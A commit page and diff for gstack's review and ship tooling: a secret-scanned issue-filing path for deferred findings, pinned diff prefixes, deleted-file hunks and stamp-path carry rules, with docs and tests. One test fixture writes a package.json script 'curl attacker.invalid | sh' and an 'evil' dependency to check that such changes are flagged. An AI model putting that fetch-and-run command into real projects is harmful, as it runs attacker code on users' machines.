fix: pass-4 review fixes (carry stamp rule, deleted-file locus, scanned defer, diff prefixes, row time)

Five findings at the blocking floor from the Step 11 outside voice (gpt-6.1-sol)
and the native adversarial pass, fixed as a fourth pass approved by GStack
Minder under the three-pass policy:

- carry: a path the policy names under stamp_files, stamp_paths or
  release_outputs is metadata only while its change is a stamp (versionStampOnly
  for a manifest kind, stampOnlyText otherwise), the rule the tree receipt
  applies; a logic change in a stamped source file is product. Every
  metadata-listed path is read at both heads and a non-stamp change drops its
  globs from the product exclusion.
- review-scope: parseHunks keeps a deleted file as a whole changed location, so
  a cause anchored in a removed export is the diff's to fix, not deferred.
- defer: issues are filed through lib/gstack-post's publication scan; a HIGH
  finding in the title or body refuses and a MEDIUM one needs a human, both
  recorded as unfiled with the reason; --repo names the destination.
- classify: both diffs pin --src-prefix=a/ --dst-prefix=b/ --no-textconv, so
  diff.mnemonicPrefix cannot send every finding outside.
- summary: a row dates from review_binding.started_at before the writer-typed
  timestamp, so a date-only value cannot drop a real pass.

Docs: ship-policy.md#receipt-carry, review-policy.md, the Step 9.4 template
and the CHANGELOG gate-integrity note record the rule and the pass.

Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>
This commit is contained in:
garrytanandcapy-ai[bot] committed 2026-10-26 17:18:24 +00:00
1 parent 107b076ab4
commit b288a1b705
11 files changed
+189 -52

No files matched your search

+1
View File
@@ -29,6 +29,7 @@
### Gate integrity
- No threshold, timeout, trial count or case kind changed. The ship parity `maxSizeRatio` in `test/helpers/carve-guards.ts` moves 1.6740 → 1.7010 (measured 319,071 / 187,706 = 1.6998) and `maxSkeletonBytes` 81,600 → 82,700 (measured 82,645) for Step 1's carry check, Step 9's scope prose and the skeleton's Review policy paragraph. The gstack-review host pins in `test/fixtures/skill-md-size-allowlist.json` go up by 250 characters on all eight pinned hosts (agy, codex, copilot, cursor, factory, kiro, opencode, slate) for the three-line policy statement in Step 4; the resolver prose that renders into those hosts was trimmed by the same number of bytes it gained for the `NO FINDINGS` and floor sentences. Owner decision for the pin raise: Garry, 2026-10-26, "Gstack should be the actual holder of how to do things not one off Capy files".
- Pass-1 review fixes raised the same two caps again, each with its measurement: ship `maxSizeRatio` 1.7010 → 1.7150 (measured 321,630 / 187,706 = 1.7135) for the lead-judgment stage, the `cause` anchor, the glossary, the stop rules and pass 2's core read; review `maxSizeRatio` 1.2960 → 1.3100 (measured 141,949 / 108,523 = 1.3080) for the shared lead-judgment stage and `cause` anchor. The gstack-review pins on the five hosts that inline the review-army section (cursor, factory, kiro, opencode, slate) go up by 1,396 characters each to their exact rendered sizes; agy, codex and copilot carve the section and are unchanged. The owner's standing decision for these raises is the one that opened the lane (GStack Minder, 2026-10-26: the two wording contributions are inside the "too overzealous" ruling, and a cap raise with a stated reason is the lane's to make). `test/review-workflow-clarity.test.ts`'s merge-stage marker list follows the new stage numbering (eight stages; the Red Team reruns 1–8); no assertion was weakened. `test/review-scope.test.ts`'s `defer` expectation moved from exit 3 to exit 0 because the contract moved (the prose always said `unfiled` keeps the finding deferred), and its `summary` zero-pass expectation from a zero record to a refusal, both by decision, not to pass.
- Pass 4 (a fourth review pass, approved by the owner's delegate for five findings at the blocking floor that the Step 11 outside voice and native adversarial pass raised after pass 3, recorded here as the policy requires): a path the policy names under `stamp_files`, `stamp_paths` or `release_outputs` is excluded from the carry's product patch only while its change is a stamp, the rule `lib/tree-receipt.ts` already applies to the same paths; `parseHunks` keeps a deleted file as a whole changed location, so a `cause` anchored in a removed export stays in the diff; `defer` files issues through `lib/gstack-post`'s publication scan, so reviewer text that quotes a credential stays `unfiled (publication scan refused: …)`; `classify` pins `--src-prefix=a/ --dst-prefix=b/ --no-textconv` so `diff.mnemonicPrefix` cannot send every finding outside; `summary` dates a pass from the logger's `review_binding.started_at` before the writer's `timestamp`. `test/review-scope.test.ts`'s deleted-file expectation moved from "dropped" to "whole" because the behaviour changed by decision; the e2e stamp-paths case now writes a real stamp (the old text with the version replaced) because a dropped line was never a stamp.
## [1.91.248.0] - 2026-10-26
+50 -9
View File
@@ -24,6 +24,7 @@ import * as path from 'node:path';
import { EXIT, exitTableHelp } from '../lib/headless-artifacts';
import { resultLineWithDocs } from '../lib/result-codes';
import { isUnavailable, loadPolicyFromBase, policyUnavailableLine, resolveBaseBranch } from '../lib/ship-policy';
import { EXIT as POST_EXIT, runPost } from '../lib/gstack-post';
import {
parseHunks, renderDeferredIssue, renderDeferredSection, reviewLoopLine, scopeFindings, scopeLine, summarizeReviewLoop,
DEFERRED_MARKER, findingIdentity, findingWhere, REVIEW_SCOPE_POLICIES, type DeferredRecord, type ReviewScopePolicy, type ScopeFinding, type ScopedFinding,
@@ -51,6 +52,7 @@ function flag(args: string[], name: string): string | undefined {
const i = args.indexOf(name);
return i >= 0 ? args[i + 1] : undefined;
}
const DIFF_ARGS = ['-U0', '--no-color', '--no-ext-diff', '--no-textconv', '--src-prefix=a/', '--dst-prefix=b/'];
function git(args: string[], cwd: string): { ok: boolean; out: string; err: string } {
// quotePath off: a non-ASCII path must come back as itself, not as "caf\303\251.ts", or the hunk map never matches the finding.
const r = spawnSync('git', ['-c', 'core.quotePath=false', ...args], { cwd, encoding: 'utf8', timeout: 60_000, maxBuffer: 64 * 1024 * 1024 });
@@ -61,6 +63,47 @@ function gh(args: string[], cwd: string): { ok: boolean; out: string; err: strin
if (r.error) return { ok: false, out: '', err: (r.error as NodeJS.ErrnoException).code === 'ENOENT' ? 'gh is not installed' : r.error.message };
return { ok: r.status === 0, out: r.stdout ?? '', err: (r.stderr ?? '').trim() };
}
/**
* File one deferred issue through the publication boundary the PR body uses
* (lib/gstack-post: the exact title and body bytes are scanned for secrets and
* private values before anything reaches gh). Reviewer text is untrusted here: a
* security finding may quote the value it found. A HIGH finding refuses, a MEDIUM
* one needs a human and is never confirmed unattended; both leave the finding
* deferred and unfiled with the reason in the record.
*/
function publishIssue(repoRoot: string, repo: string | undefined, title: string, body: string): { ok: boolean; out: string; err: string } {
const dir = fs.mkdtempSync(path.join(process.env.TMPDIR ?? '/tmp', 'gstack-deferred-'));
const titleFile = path.join(dir, 'title.txt');
const bodyFile = path.join(dir, 'issue.md');
fs.writeFileSync(titleFile, title, { mode: 0o600 });
fs.writeFileSync(bodyFile, body, { mode: 0o600 });
let out = '';
let err = '';
try {
const code = runPost(['issue-create', '--title-file', titleFile, '--body-file', bodyFile], {
run(cmd, args, input) {
// --repo names the destination: the remote is that GitHub repository and every gh call targets it.
if (repo && cmd === 'git' && args[0] === 'remote') return { status: 0, stdout: `https://github.com/${repo}\n`, stderr: '' };
const argv = cmd === 'gh' && repo ? [...args, '--repo', repo] : args;
const r = spawnSync(cmd, argv, { cwd: repoRoot, input: input ?? '', encoding: 'utf8', timeout: 120_000, maxBuffer: 16 * 1024 * 1024 });
if (r.error) return { status: 1, stdout: '', stderr: (r.error as NodeJS.ErrnoException).code === 'ENOENT' ? `${cmd} is not installed` : r.error.message };
return { status: r.status ?? 1, stdout: r.stdout ?? '', stderr: r.stderr ?? '' };
},
readFile: p => fs.readFileSync(p, 'utf8'),
out: t => { out += t; },
err: t => { err += t; },
}, path.join(import.meta.dir, 'gstack-config'));
if (code === POST_EXIT.posted) return { ok: true, out, err };
const rules = [...new Set([...out.matchAll(/RULE: (\S+)/g)].map(m => m[1]))].join(', ');
const reason = code === POST_EXIT.refused ? `publication scan refused: HIGH ${rules || 'finding'}; remove the value from the finding text`
: code === POST_EXIT.confirm ? `publication scan: MEDIUM ${rules || 'finding'} needs a human before this text is posted`
: `gh issue create failed: ${(err.trim().split('\n').find(l => l.trim()) ?? 'unknown').slice(0, 160)}`;
return { ok: false, out, err: reason };
} finally {
fs.rmSync(dir, { recursive: true, force: true });
}
}
function readFindings(spec: string | undefined, what: string): ScopeFinding[] {
const text = spec === undefined || spec === '-' ? fs.readFileSync(0, 'utf8') : fs.readFileSync(spec, 'utf8');
const parsed = JSON.parse(text.trim() || '[]');
@@ -94,7 +137,8 @@ function cmdClassify(rest: string[], json: boolean): number {
const baseRef = /^[0-9a-f]{7,64}$/i.test(base) ? base : `origin/${base.replace(/^origin\//, '')}`;
const mergeBase = git(['merge-base', baseRef, 'HEAD'], repoRoot);
if (!mergeBase.ok) return refuse('classify', 'REVIEW_SCOPE_RANGE', `cannot resolve the merge base of ${baseRef} and HEAD: ${mergeBase.err}`);
const diff = git(['diff', '-U0', '--no-color', '--no-ext-diff', mergeBase.out.trim()], repoRoot);
// Prefixes pinned as lib/pregate/checks/secrets.ts pins them: diff.mnemonicPrefix would print c/ and w/ and nothing would match a finding.
const diff = git(['diff', ...DIFF_ARGS, mergeBase.out.trim()], repoRoot);
if (!diff.ok) return refuse('classify', 'REVIEW_SCOPE_RANGE', `git diff ${mergeBase.out.trim()} failed: ${diff.err}`);
const untracked = git(['ls-files', '--others', '--exclude-standard'], repoRoot).out.split('\n').filter(Boolean);
const diffHunks = parseHunks(diff.out, untracked);
@@ -105,7 +149,7 @@ function cmdClassify(rest: string[], json: boolean): number {
if (!rangeBase) return refuse('classify', 'REVIEW_SCOPE_INPUT', '--range-base <sha> (HEAD at the start of the previous pass) is required from pass 2 on');
const ancestor = git(['merge-base', '--is-ancestor', rangeBase, 'HEAD'], repoRoot);
if (!ancestor.ok) return refuse('classify', 'REVIEW_SCOPE_RANGE', `--range-base ${rangeBase.slice(0, 12)} is not an ancestor of HEAD (rewritten history? start a full pass)`);
const range = git(['diff', '-U0', '--no-color', '--no-ext-diff', rangeBase], repoRoot);
const range = git(['diff', ...DIFF_ARGS, rangeBase], repoRoot);
if (!range.ok) return refuse('classify', 'REVIEW_SCOPE_RANGE', `git diff ${rangeBase.slice(0, 12)} failed: ${range.err}`);
rangeHunks = parseHunks(range.out, untracked);
}
@@ -149,15 +193,12 @@ function cmdDefer(rest: string[], json: boolean): number {
if (!filed) { record.reason = searchError; continue; }
const hit = filed.find(i => typeof i.body === 'string' && i.body.includes(marker));
if (hit) { record.issue = hit.number; record.url = hit.url; record.reason = 'already filed'; continue; }
const bodyFile = path.join(fs.mkdtempSync(path.join(process.env.TMPDIR ?? '/tmp', 'gstack-deferred-')), 'issue.md');
fs.writeFileSync(bodyFile, body, { mode: 0o600 });
const created = gh(['issue', 'create', ...repoArgs, '--title', title, '--body-file', bodyFile], repoRoot);
fs.rmSync(path.dirname(bodyFile), { recursive: true, force: true });
const created = publishIssue(repoRoot, repo, title, body);
if (created.ok) {
const url = created.out.trim().split('\n').pop() ?? '';
const n = Number(/\/issues\/(\d+)\s*$/.exec(url)?.[1]);
const url = created.out.split('\n').map(l => l.trim()).filter(l => /\/issues\/\d+$/.test(l)).pop() ?? '';
const n = Number(/\/issues\/(\d+)$/.exec(url)?.[1]);
if (Number.isInteger(n)) { record.issue = n; record.url = url; } else record.reason = `gh returned no issue url: ${url.slice(0, 120)}`;
} else record.reason = `gh issue create failed: ${(created.err || 'unknown').split('\n')[0]!.slice(0, 160)}`;
} else record.reason = created.err;
}
// Unfiled is the documented degraded path, not a failure: the finding stays deferred and the PR body names the reason.
for (const r of records) process.stderr.write(`DEFERRED: ${r.issue ? `#${r.issue}` : `unfiled (${r.reason ?? 'no gh'})`} ${r.severity} ${r.path}\n`);
+14 -5
View File
@@ -35,7 +35,7 @@ import { EXIT, exitTableHelp, type ShipReceipt } from '../lib/headless-artifacts
import { resultLine, resultLineWithDocs } from '../lib/result-codes';
import { versionAtRef } from '../lib/restamp';
import { readPregateFile, verifyPregate } from '../lib/pregate/index';
import { isUnavailable, loadPolicyFromBase, resolveBaseBranch } from '../lib/ship-policy';
import { isUnavailable, loadPolicyFromBase, matchesAny, resolveBaseBranch } from '../lib/ship-policy';
import { approvalForReceipt } from '../lib/approval-citations';
import {
CARRY_METADATA_GLOBS, CARRY_TEST_GLOBS,
@@ -369,13 +369,22 @@ function cmdCarry(rest: string[], json: boolean): number {
const extra = { metadata: [...(policy?.stamp_files ?? []), ...(policy?.stamp_paths ?? []), ...(policy?.release_outputs ?? []), ...(policy?.changelog ? [policy.changelog] : [])] };
const changedRaw = git(['diff', '--name-only', from, head], repoRoot);
if (changedRaw === undefined) return refused('RECEIPT_CARRY_REFUSED', `git diff ${from.slice(0, 12)} ${head.slice(0, 12)} failed`);
// A default-metadata manifest is read at both heads: only a version stamp keeps it out of the product patch.
// Every metadata-listed path is read at both heads: only a stamp keeps it out of the product patch.
const blobAt = (ref: string, p: string): string | null => { const r = spawnSync('git', ['show', `${ref}:${p}`], { cwd: repoRoot, encoding: 'utf8', timeout: 30_000, maxBuffer: 16 * 1024 * 1024 }); return r.status === 0 ? r.stdout : null; };
const changed = changedRaw.split('\n').filter(Boolean).map(p => ({ path: p, class: classifyCarryPath(p, extra, CARRY_METADATA_GLOBS.includes(p) ? { before: blobAt(from, p), after: blobAt(head, p) } : undefined) }));
const versionAt = (ref: string): string | null => {
const file = blobAt(ref, 'VERSION');
if (file !== null) return file.trim() || null;
try { const v = JSON.parse(blobAt(ref, 'package.json') ?? 'null')?.version; return typeof v === 'string' ? v : null; } catch { return null; }
};
const oldVersion = versionAt(from);
const newVersion = versionAt(head);
const allMetadataGlobs = [...CARRY_METADATA_GLOBS, ...extra.metadata];
const changed = changedRaw.split('\n').filter(Boolean).map(p => ({ path: p, class: classifyCarryPath(p, extra, matchesAny(allMetadataGlobs, p) ? { before: blobAt(from, p), after: blobAt(head, p), oldVersion, newVersion } : undefined) }));
// Pathspecs by class: tests and metadata are excluded from the product patch; the test patch is the tests alone.
// A metadata-listed path whose change was not a stamp stays in the product patch: every glob that matches it is dropped from the exclusion.
const excludeGlobs = (globs: readonly string[]) => globs.map(g => `:(exclude,glob)${g}`);
const demoted = new Set(changed.filter(c => c.class === 'product' && CARRY_METADATA_GLOBS.includes(c.path)).map(c => c.path));
const metadataGlobs = [...CARRY_METADATA_GLOBS.filter(g => !demoted.has(g)), ...extra.metadata];
const demoted = changed.filter(c => c.class === 'product' && matchesAny(allMetadataGlobs, c.path)).map(c => c.path);
const metadataGlobs = allMetadataGlobs.filter(g => !demoted.some(p => matchesAny([g], p)));
const productSpec = ['.', ...excludeGlobs(CARRY_TEST_GLOBS), ...excludeGlobs(metadataGlobs)];
const testSpec = [...CARRY_TEST_GLOBS.map(g => `:(glob)${g}`), ...excludeGlobs(metadataGlobs)];
const productFrom = patchId(repoRoot, fromBase, from, productSpec);
+7 -3
View File
@@ -54,9 +54,13 @@ incomplete coverage, which blocks until the reviewer is rerun.
`kind`, `blocking` and `scope`. Findings in the diff are `fix`. A blocking
finding in code the PR did not change is `defer`: `gstack-review-scope defer`
files it as a GitHub issue (one per finding, reused across reruns through an
`<!-- gstack-deferred-finding: <fingerprint> -->` marker; `unfiled (<reason>)`
when `gh` is unavailable or its search fails, still exit 0) and the PR body
lists it under `## Deferred findings`.
`<!-- gstack-deferred-finding: <fingerprint> -->` marker; the issue text is
scanned like the PR body before anything is posted, so a finding that quotes a
secret is `unfiled (publication scan refused: …)`; `unfiled (<reason>)` when
`gh` is unavailable or its search fails; every unfiled case still exits 0)
and the PR body lists it under `## Deferred findings`. A finding's `cause`
(the changed line behind a defect reported elsewhere, a deleted file included)
places it in the diff.
Below-floor findings outside the diff are `note`, listed under `## Review notes`.
2. **Pass 2 and later review only the range since the previous pass.** Each pass
saves its head; the next pass diffs `RANGE_BASE..HEAD` for every reviewer (the
+12 -6
View File
@@ -593,7 +593,9 @@ construction:
the diff (`scope: fix`). A blocking finding in code the PR did not change is
`scope: defer`: `gstack-review-scope defer` files it as a GitHub issue (reusing
an open issue that carries the same `<!-- gstack-deferred-finding: <fingerprint> -->`
marker; `unfiled (<reason>)` without `gh`) and `render` writes it under
marker; the title and body go through the same publication scan as the PR
body, so a finding that quotes a credential stays `unfiled (publication scan
refused: …)`; `unfiled (<reason>)` without `gh`) and `render` writes it under
`## Deferred findings` in the PR body. Below-floor findings outside the diff,
and every below-floor finding from pass 2 on, are `scope: note` and go under
`## Review notes` in the PR body.
@@ -643,11 +645,15 @@ base is the same at both heads (verbatim: whitespace counts, hunk line numbers
do not). Product means every changed path that is not test code (`test/**`,
`spec/**`, `e2e/**`, `**/*.test.<code ext>`, `**/*.spec.<code ext>` and the
other `CARRY_TEST_GLOBS` in `lib/ship-receipt.ts`; an `openapi.spec.yaml` is
product) or release metadata (`CHANGELOG.md`, `agents-digest/**`, the paths the
policy's `stamp_files`, `stamp_paths`, `release_outputs` and `changelog` name,
and `VERSION` or `package.json` only while the change is a version stamp and
nothing else: a dependency, a script or a new key makes them product). Lockfiles
are product unless the policy names them. A base merge contributes no product
product) or release metadata (`CHANGELOG.md`, `agents-digest/**`, and `VERSION`
or `package.json` only while the change is a version stamp and nothing else: a
dependency, a script or a new key makes them product). A path the policy's
`stamp_files`, `stamp_paths` or `release_outputs` name is metadata only while
its change is a stamp, the rule the tree receipt applies to the same paths: a
manifest by its version key, any other file when its new text reads as the old
once the new release version is replaced by the old one. A logic change in a
stamped source file is product. Lockfiles are product unless the policy names
them. A base merge contributes no product
change of its own. A receipt carried twice keeps the reviewed head as
`carry.from` and adds up the merges and paths. The carried receipt records
`carry: { from, reason, product_patch_id, changed_paths, merge_commits,
+22 -6
View File
@@ -35,17 +35,28 @@ export interface ScopedFinding extends ScopeFinding { locus: Locus; kind: Kind;
/** Per path, the new-side line ranges a diff touched; `'whole'` for an added or untracked file. */
export type HunkMap = Record<string, Array<[number, number]> | 'whole'>;
/** Parse `git diff -U0` output (plus untracked paths as whole files) into a hunk map. */
/**
* Parse `git diff -U0` output (plus untracked paths as whole files) into a hunk
* map. The diff must be produced with `--src-prefix=a/ --dst-prefix=b/` (the
* `diff.mnemonicPrefix` setting prints `c/` and `w/` otherwise, and no path
* would match a finding). A deleted file is a whole changed location too: a
* finding whose `cause` is a removed export anchors there.
*/
export function parseHunks(diff: string, untracked: readonly string[] = []): HunkMap {
const map: HunkMap = {};
let current: string | null = null;
let added = false;
let removed: string | null = null;
for (const raw of diff.split('\n')) {
const line = raw.replace(/\r$/, '');
if (line.startsWith('diff --git ')) { current = null; added = false; continue; }
if (line.startsWith('--- ')) { added = line === '--- /dev/null'; continue; }
if (line.startsWith('diff --git ')) { current = null; added = false; removed = null; continue; }
if (line.startsWith('--- ')) {
added = line === '--- /dev/null';
removed = added ? null : line.replace(/^--- (?:a\/)?/, '').replace(/\t.*$/, '');
continue;
}
if (line.startsWith('+++ ')) {
if (line === '+++ /dev/null') { current = null; continue; }
if (line === '+++ /dev/null') { if (removed) map[removed] = 'whole'; current = null; continue; }
current = line.replace(/^\+\+\+ (?:b\/)?/, '').replace(/\t.*$/, '');
if (added) map[current] = 'whole';
else if (!(current in map)) map[current] = [];
@@ -224,9 +235,14 @@ export function renderDeferredSection(deferred: readonly DeferredRecord[], noted
export interface ReviewLoopSummary { passes: number; blocking_found: number; deferred: number; noted: number; fixed: number; scope: ReviewScopePolicy | 'unknown' }
/** Review-log rows of one /ship invocation (skill review, via ship, at or after `since`) → the loop summary. */
/** When a review-log row was written: its `timestamp`, else the start of the pass the logger bound it to (the row's writer fills `timestamp`; the logger does not). */
/**
* When a review-log row's pass started: the logger's own `review_binding.started_at`
* first, and the writer-typed `timestamp` only when the logger stamped nothing. The
* writer fills `timestamp` by hand, so a date-only or guessed value could otherwise
* sort a real pass before `--since` and leave the receipt without a loop to record.
*/
function rowTime(row: Record<string, any>): number {
for (const value of [row.timestamp, row.review_binding?.started_at]) {
for (const value of [row.review_binding?.started_at, row.timestamp]) {
const ms = typeof value === 'string' ? Date.parse(value) : NaN;
if (Number.isFinite(ms)) return ms;
}
+29 -11
View File
@@ -163,19 +163,37 @@ export interface CarryPlanInput {
export interface CarryRecord { from: string; reason: string; product_patch_id: string; changed_paths: string[]; merge_commits: number; range_diff: string; covers: string[]; reruns: string[] }
export type CarryPlan = { ok: true; carry: CarryRecord } | { ok: false; code: 'RECEIPT_CARRY_PRODUCT_CHANGED' | 'RECEIPT_CARRY_REFUSED'; message: string };
/** The file's text at the reviewed head and at HEAD, with the release version each head carries (from `VERSION`, else `package.json`). */
export interface CarryChange { before: string | null; after: string | null; oldVersion?: string | null; newVersion?: string | null }
/**
* One changed path's carry class. A default-metadata manifest (`package.json`,
* `VERSION`) is metadata only while its from..head change is a version stamp
* and nothing else (`versionStampOnly`): a dependency, a script or a new key is
* product. `change` carries the file's text at both heads; without it the
* default lists decide (the paths a policy names are the repo's own call).
* A policy-named stamp path's change is a stamp when the new text reads as the
* old text once every new version in it is the old one: the rule the tree receipt
* applies to the same `stamp_paths`, `stamp_files` and `release_outputs` before
* the train accepts a stamp commit. No version change, or a file missing on
* either side, is not a stamp.
*/
export function classifyCarryPath(rel: string, extra: { metadata?: readonly string[] } = {}, change?: { before: string | null; after: string | null }): CarryClass {
if (matchesAny(extra.metadata ?? [], rel)) return 'metadata';
if (matchesAny(CARRY_METADATA_GLOBS, rel)) {
if (change && stampFileKind(rel) && !versionStampOnly(rel, change.before, change.after).stampOnly) return 'product';
return 'metadata';
}
export function stampOnlyText(change: CarryChange): boolean {
const { before, after, oldVersion, newVersion } = change;
if (before === null || after === null || !oldVersion || !newVersion || oldVersion === newVersion) return false;
return after.split(newVersion).join(oldVersion) === before;
}
/**
* One changed path's carry class. The changelog and the agents digest are
* metadata. A manifest (`package.json`, `VERSION`) is metadata only while its
* from..head change is a version stamp and nothing else (`versionStampOnly`): a
* dependency, a script or a new key is product. A path the policy names under
* `stamp_files`, `stamp_paths` or `release_outputs` is metadata only while its
* change is a stamp (`versionStampOnly` for a manifest kind, `stampOnlyText`
* otherwise): a logic change in a stamped source file is product, as it is for
* the tree receipt. `change` carries the texts; a caller without them gets the
* list-only answer.
*/
export function classifyCarryPath(rel: string, extra: { metadata?: readonly string[] } = {}, change?: CarryChange): CarryClass {
const stamp = () => !change || (stampFileKind(rel) ? versionStampOnly(rel, change.before, change.after).stampOnly : stampOnlyText(change));
if (matchesAny(CARRY_METADATA_GLOBS, rel)) return !change || !stampFileKind(rel) || versionStampOnly(rel, change.before, change.after).stampOnly ? 'metadata' : 'product';
if (matchesAny(extra.metadata ?? [], rel)) return stamp() ? 'metadata' : 'product';
if (matchesAny(CARRY_TEST_GLOBS, rel)) return 'test';
return 'product';
}
+3 -2
View File
@@ -693,8 +693,9 @@ but missing dispatched output still blocks continuation, even with a QA exceptio
3.5. **Defer and note the rest.** Run
`~/.claude/skills/gstack/bin/gstack-review-scope defer --findings <classified> --pr <pr-number> --out <deferred.json>`
(omit `--pr` before a PR exists). It files one issue per `scope: defer` finding,
reusing an open issue that carries the finding's marker, and prints `DEFERRED:`
lines; `unfiled (<reason>)` keeps the finding deferred when gh cannot file it,
reusing an open issue that carries the finding's marker, scanning the issue text
as the PR body is scanned, and prints `DEFERRED:` lines; `unfiled (<reason>)`
keeps the finding deferred when gh cannot file it or the scan refuses the text,
and the command still exits 0: the PR body carries the reason.
Then `gstack-review-scope render --deferred <deferred.json> --findings <classified>`
prints the `## Deferred findings` and `## Review notes` sections: save them for
+3 -2
View File
@@ -120,8 +120,9 @@ but missing dispatched output still blocks continuation, even with a QA exceptio
3.5. **Defer and note the rest.** Run
`~/.claude/skills/gstack/bin/gstack-review-scope defer --findings <classified> --pr <pr-number> --out <deferred.json>`
(omit `--pr` before a PR exists). It files one issue per `scope: defer` finding,
reusing an open issue that carries the finding's marker, and prints `DEFERRED:`
lines; `unfiled (<reason>)` keeps the finding deferred when gh cannot file it,
reusing an open issue that carries the finding's marker, scanning the issue text
as the PR body is scanned, and prints `DEFERRED:` lines; `unfiled (<reason>)`
keeps the finding deferred when gh cannot file it or the scan refuses the text,
and the command still exits 0: the PR body carries the reason.
Then `gstack-review-scope render --deferred <deferred.json> --findings <classified>`
prints the `## Deferred findings` and `## Review notes` sections: save them for
+21 -2
View File
@@ -9,7 +9,7 @@ import * as fs from 'node:fs';
import * as os from 'node:os';
import * as path from 'node:path';
import { EXIT } from '../lib/headless-artifacts';
import { bindReceipt, classifyCarryPath, computeCensus, extractReceipt, parseReviewLoop, placeReceiptFirst, planCarry, receiptSummaryLine, renderReceiptBlock } from '../lib/ship-receipt';
import { bindReceipt, classifyCarryPath, computeCensus, extractReceipt, parseReviewLoop, placeReceiptFirst, planCarry, receiptSummaryLine, renderReceiptBlock, stampOnlyText } from '../lib/ship-receipt';
import { cleanup, ghShim, makeFixtureRepo, makePr, recordAndBundle, restamp, runBin, type FixtureRepo } from './helpers/restamp-fixture';
const repos: FixtureRepo[] = [];
@@ -413,6 +413,17 @@ describe('gstack-ship-receipt carry (harness lane E row 3: receipt follows a hea
expect(classifyCarryPath('VERSION', {}, { before: '1.2.3.0\n', after: '1.2.4.0\n' })).toBe('metadata');
expect(classifyCarryPath('VERSION', {}, { before: '1.2.3.0\n', after: '1.2.4.0\nextra\n' })).toBe('product');
expect(classifyCarryPath('package.json')).toBe('metadata');
// a policy-named stamp path is metadata only while its change is a stamp, the rule the tree receipt applies to the same paths:
// a logic change in a stamped source file is product (pass-4 outside review of #3481)
const stamped = { oldVersion: '1.2.3.0', newVersion: '1.2.4.0' };
expect(classifyCarryPath('src/version.ts', { metadata: ['src/version.ts'] }, { before: 'export const V = "1.2.3.0";\n', after: 'export const V = "1.2.4.0";\n', ...stamped })).toBe('metadata');
expect(classifyCarryPath('src/version.ts', { metadata: ['src/version.ts'] }, { before: 'export const V = "1.2.3.0";\n', after: 'export const V = "1.2.4.0";\nexport const unsafe = true;\n', ...stamped })).toBe('product');
expect(classifyCarryPath('src/version.ts', { metadata: ['src/version.ts'] }, { before: 'export const V = "1.2.3.0";\n', after: 'export const V = "1.2.3.0";\nexport const unsafe = true;\n', oldVersion: '1.2.3.0', newVersion: '1.2.3.0' })).toBe('product');
expect(classifyCarryPath('plugin/manifest.json', { metadata: ['plugin/**'] }, { before: '{\n "version": "1.2.3"\n}\n', after: '{\n "version": "1.2.4"\n}\n', ...stamped })).toBe('metadata');
expect(classifyCarryPath('plugin/manifest.json', { metadata: ['plugin/**'] }, { before: '{\n "version": "1.2.3"\n}\n', after: '{\n "version": "1.2.4",\n "permissions": ["all"]\n}\n', ...stamped })).toBe('product');
expect(stampOnlyText({ before: 'v1.2.3.0', after: 'v1.2.4.0', ...stamped })).toBe(true);
expect(stampOnlyText({ before: null, after: 'v1.2.4.0', ...stamped })).toBe(false);
expect(stampOnlyText({ before: 'v1.2.3.0', after: 'v1.2.4.0', oldVersion: null, newVersion: '1.2.4.0' })).toBe(false);
const base = { from: 'f'.repeat(40), head: 'e'.repeat(40), productPatchId: { from: 'p', head: 'p' }, testPatchId: { from: 't', head: 't' }, changedProduct: [], mergeCommits: 0, rangeDiff: 'rd' };
const meta = planCarry({ ...base, changed: [{ path: 'VERSION', class: 'metadata' }, { path: 'CHANGELOG.md', class: 'metadata' }] });
expect(meta.ok && meta.carry.reason).toBe('release metadata');
@@ -443,7 +454,7 @@ describe('gstack-ship-receipt carry (harness lane E row 3: receipt follows a hea
fs.writeFileSync(path.join(repo.work, 'VERSION'), '1.2.4.0\n');
fs.writeFileSync(path.join(repo.work, 'package.json'), fs.readFileSync(path.join(repo.work, 'package.json'), 'utf8').replace('"version": "1.2.3"', '"version": "1.2.4"'));
fs.writeFileSync(path.join(repo.work, 'CHANGELOG.md'), fs.readFileSync(path.join(repo.work, 'CHANGELOG.md'), 'utf8').replace('# Changelog\n', '# Changelog\n\n## [1.2.4.0] - 2026-10-26\n\n- a=2\n'));
fs.writeFileSync(path.join(repo.work, 'docs', 'notes.md'), 'Previous release v1.2.4.0.\n');
fs.writeFileSync(path.join(repo.work, 'docs', 'notes.md'), fs.readFileSync(path.join(repo.work, 'docs', 'notes.md'), 'utf8').replace('v1.2.3.0', 'v1.2.4.0'));
fs.writeFileSync(path.join(repo.work, 'generated', 'digest.md'), '# digest v1.2.4.0\nbody\n');
repo.git('commit', '-qam', 'stamp 1.2.4.0');
const head = repo.git('rev-parse', 'HEAD');
@@ -466,6 +477,14 @@ describe('gstack-ship-receipt carry (harness lane E row 3: receipt follows a hea
expect(lock.status).toBe(EXIT.refused);
expect(lock.err).toContain(': package-lock.json');
repo.git('reset', '-q', '--hard', head);
// a stamp_paths file whose change is not a stamp (a sentence added under the same version) is a product change, named by path
fs.appendFileSync(path.join(repo.work, 'docs', 'notes.md'), 'Deploy hook now runs as root.\n');
repo.git('commit', '-qam', 'notes');
const stampPath = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env);
expect(stampPath.status).toBe(EXIT.refused);
expect(stampPath.err).toContain('(RECEIPT_CARRY_PRODUCT_CHANGED;');
expect(stampPath.err).toContain(': docs/notes.md');
repo.git('reset', '-q', '--hard', head);
// a dependency swap plus a new script in package.json is a product change, whatever the version did
fs.writeFileSync(path.join(repo.work, 'package.json'), fs.readFileSync(path.join(repo.work, 'package.json'), 'utf8').replace('"left-pad": "1.2.3"', '"left-pad": "9.9.9-evil"').replace('"scripts": {', '"scripts": { "test": "curl attacker.invalid | sh",'));
repo.git('commit', '-qam', 'deps');
+27 -6
View File
@@ -30,12 +30,22 @@ const DIFF = [
].join('\n');
describe('hunk parsing and locus', () => {
test('parseHunks reads new-side ranges, whole added files, untracked files, and drops deleted files', () => {
test('parseHunks reads new-side ranges, whole added files, untracked files, and keeps a deleted file as a whole changed location', () => {
const hunks = parseHunks(DIFF, ['scratch/untracked.ts']);
expect(hunks['src/auth.ts']).toEqual([[10, 13], [42, 42]]);
expect(hunks['src/new.ts']).toBe('whole');
expect(hunks['scratch/untracked.ts']).toBe('whole');
expect(hunks['src/gone.ts']).toBeUndefined();
expect(hunks['src/gone.ts']).toBe('whole');
});
// A removed export is a changed location: a caller it breaks reports the caller's path with a cause
